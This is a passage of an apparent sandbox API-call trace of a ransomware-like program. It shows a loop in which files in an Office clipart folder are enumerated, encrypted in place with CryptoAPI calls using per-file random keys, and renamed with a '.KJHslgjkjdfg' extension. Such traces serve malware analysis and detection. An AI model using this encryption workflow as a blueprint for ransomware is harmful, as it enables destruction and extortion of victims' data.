lpOverlapped=0x0) returned 1 [0160.866] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.866] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.866] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.866] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.866] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.866] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.866] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.866] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.866] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x136a, lpOverlapped=0x0) returned 1 [0160.867] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370, dwBufLen=0x1370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370) returned 1 [0160.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.867] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1370, lpOverlapped=0x0) returned 1 [0160.867] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.867] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.868] SetEndOfFile (hFile=0x114) returned 1 [0160.870] GetProcessHeap () returned 0x2a0000 [0160.870] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.870] GetProcessHeap () returned 0x2a0000 [0160.870] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.kjhslgjkjdfg")) returned 1 [0160.871] CloseHandle (hObject=0x114) returned 1 [0160.871] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0160.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.872] GetProcessHeap () returned 0x2a0000 [0160.872] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.872] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.872] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.872] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0160.873] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.873] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.874] GetProcessHeap () returned 0x2a0000 [0160.874] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.874] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.874] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.874] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.874] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.874] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.874] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.874] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.874] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.874] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.874] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc0a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc0a, lpOverlapped=0x0) returned 1 [0160.874] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc10, dwBufLen=0xc10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc10) returned 1 [0160.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.875] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc10, lpOverlapped=0x0) returned 1 [0160.875] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.875] SetEndOfFile (hFile=0x114) returned 1 [0160.877] GetProcessHeap () returned 0x2a0000 [0160.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.877] GetProcessHeap () returned 0x2a0000 [0160.877] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.kjhslgjkjdfg")) returned 1 [0160.879] CloseHandle (hObject=0x114) returned 1 [0160.879] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0160.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.880] GetProcessHeap () returned 0x2a0000 [0160.880] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.880] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.880] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.882] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.882] GetProcessHeap () returned 0x2a0000 [0160.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.882] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.882] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.883] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.883] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.883] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.883] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b04, lpOverlapped=0x0) returned 1 [0160.884] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b10) returned 1 [0160.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.885] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b10, lpOverlapped=0x0) returned 1 [0160.885] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.885] SetEndOfFile (hFile=0x114) returned 1 [0160.888] GetProcessHeap () returned 0x2a0000 [0160.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.888] GetProcessHeap () returned 0x2a0000 [0160.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.kjhslgjkjdfg")) returned 1 [0160.889] CloseHandle (hObject=0x114) returned 1 [0160.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0160.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.891] GetProcessHeap () returned 0x2a0000 [0160.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.891] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.891] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.893] GetProcessHeap () returned 0x2a0000 [0160.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.893] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.894] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.894] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.894] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.894] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5664, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5664, lpOverlapped=0x0) returned 1 [0160.895] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5670, dwBufLen=0x5670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5670) returned 1 [0160.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.895] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5670, lpOverlapped=0x0) returned 1 [0160.896] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.896] SetEndOfFile (hFile=0x114) returned 1 [0160.898] GetProcessHeap () returned 0x2a0000 [0160.898] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.898] GetProcessHeap () returned 0x2a0000 [0160.898] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.kjhslgjkjdfg")) returned 1 [0160.899] CloseHandle (hObject=0x114) returned 1 [0160.900] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0160.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.900] GetProcessHeap () returned 0x2a0000 [0160.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.900] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.900] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.902] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.902] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.902] GetProcessHeap () returned 0x2a0000 [0160.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.902] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.902] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.902] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.903] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.903] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.903] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.903] CryptSetKeyParam (hKey=0x2c63a0, 